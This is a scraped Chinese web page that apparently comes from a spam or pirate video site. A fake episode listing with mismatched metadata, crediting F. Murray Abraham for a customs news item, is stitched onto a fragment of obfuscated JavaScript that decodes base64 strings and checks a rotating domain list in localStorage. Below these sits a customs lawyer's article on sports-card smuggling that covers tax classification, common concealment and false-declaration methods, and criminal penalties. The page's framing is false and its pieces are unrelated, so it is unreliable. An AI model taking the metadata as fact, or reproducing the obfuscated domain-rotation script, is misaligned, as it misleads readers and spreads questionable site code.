《旅客带大量球星卡入境被海关查获》第01集免费在线播放
主演:F-默里-亚伯拉罕
导演:乌利艾德
类型:realtime
地区:中国
年份:2024
时间:2024-10-28 10:10:38
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while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("YmQ3MDBmMjctOWY3MC00OGJiLWE5YmUtMzk1MGVlMDExYjU0"); if (localStorage.getItem("domainlist" + dnum + "_2024-11-10") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); 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大家好,我是海关专业律师团队的陈瑞明律师。从2023年初上海浦东机场海关在快件渠道查获多起伪报品名走私球星卡开始,各地海关陆续有发现球星卡走私进境的情事。最近,又有七千多张球星卡被伪报为“装饰盒篮子”,申报价格不到200美元,又被海关查获,海关缉私局上门。为什么球星卡会被海关盯上呢?我们这期就来聊一聊。 1、什么是球星卡? 球星卡作为印有球星肖像的纪念卡片,属小众类个人收藏品。其价格受球星影响力、卡片品相、稀缺性等多种因素影响,一般发行量越小,球星卡价格越昂贵,越具有升值空间,因此吸引了众多收藏者和投机者追捧。在球星卡二手交易平台卡淘上,C罗的一张球星卡被拍到超700万的天价。而梅西的多张球星卡也都拍出上百万的价格。实际上,球星卡有着和盲盒类似的玩法机制。拿到授权的发行商发售球星卡,通过代理、中间商卖到球迷手中。同样因为带有稀缺性,球星卡也延伸出二级市场。而那些惊人的天价球星卡也都是出自二级市场。尽管球星卡在国内兴起的时间并不算长,但已经有从发行、代理到零售的完整产业链。美国的球星卡公司每年的营业额达上亿美元。 2、海关是如何对球星卡计税的? 按照海关的税则归类,球星卡被归为纸质印刷品,税号4411991090,进口综合税率为19.78%。按照海关申报规定,进口申报价格应为球星卡的实际成交价格,比如价值1万人民币的球星卡,需要向海关缴纳约2000元的税。如果是原产地是美国的球星卡,由于中美贸易战,还需要额外加征25%的关税。 当然,如果只是数量合理的球星卡,并且是自用,建议按照行邮申报,只用缴纳15%的税款。为了逃避海关的税款,球星卡屡屡爆出走私案。 3、球星卡交易行业常见的走私手法 球星卡交易商为逃避海关的税款,已经爆出的常见的走私手法主要有2种: 一种是伪报品名、低报价格。比如上海海关查获的这起案件就是将球星卡申报为不值钱的“装饰盒篮子”,进口价格、税率都降下来,就达到了少缴税的目的。 另有一种是夹带、夹藏走私。由于球星卡体积不大,一般是将球星卡夹藏在其他货物的集装箱或其他包装中,还有的是从香港、澳门入境深圳、珠海,在身上、车上夹带入境。 4、走私球星卡一般如何定罪处罚? 球星卡走私一般涉嫌“走私普通货物罪”。个人犯罪偷逃应缴税额在十万元以上,单位犯罪偷逃应缴税额在二十万元以上,就会达到该罪名的起刑点。个人逃税250万以上,单位逃税500万以上,法定刑是10年以上,还要缴纳逃税金额1-5倍的罚金。 海关专业律师陈瑞明提醒您,国内的球星卡公司、平台如果明知球星卡是走私逃税进来的,仍予以收购,也会涉嫌走私普通货物罪,或者通过以不合理的低价“包税”委托给清关公司进口,或者介绍下线通过非法渠道进口,虽然不直接参与走私,仍会被认定为走私。近期,已有十余名球星卡企业负责人、直接责任人员被各地海关缉私局以涉嫌走私普通货物物品罪采取刑事强制措施。
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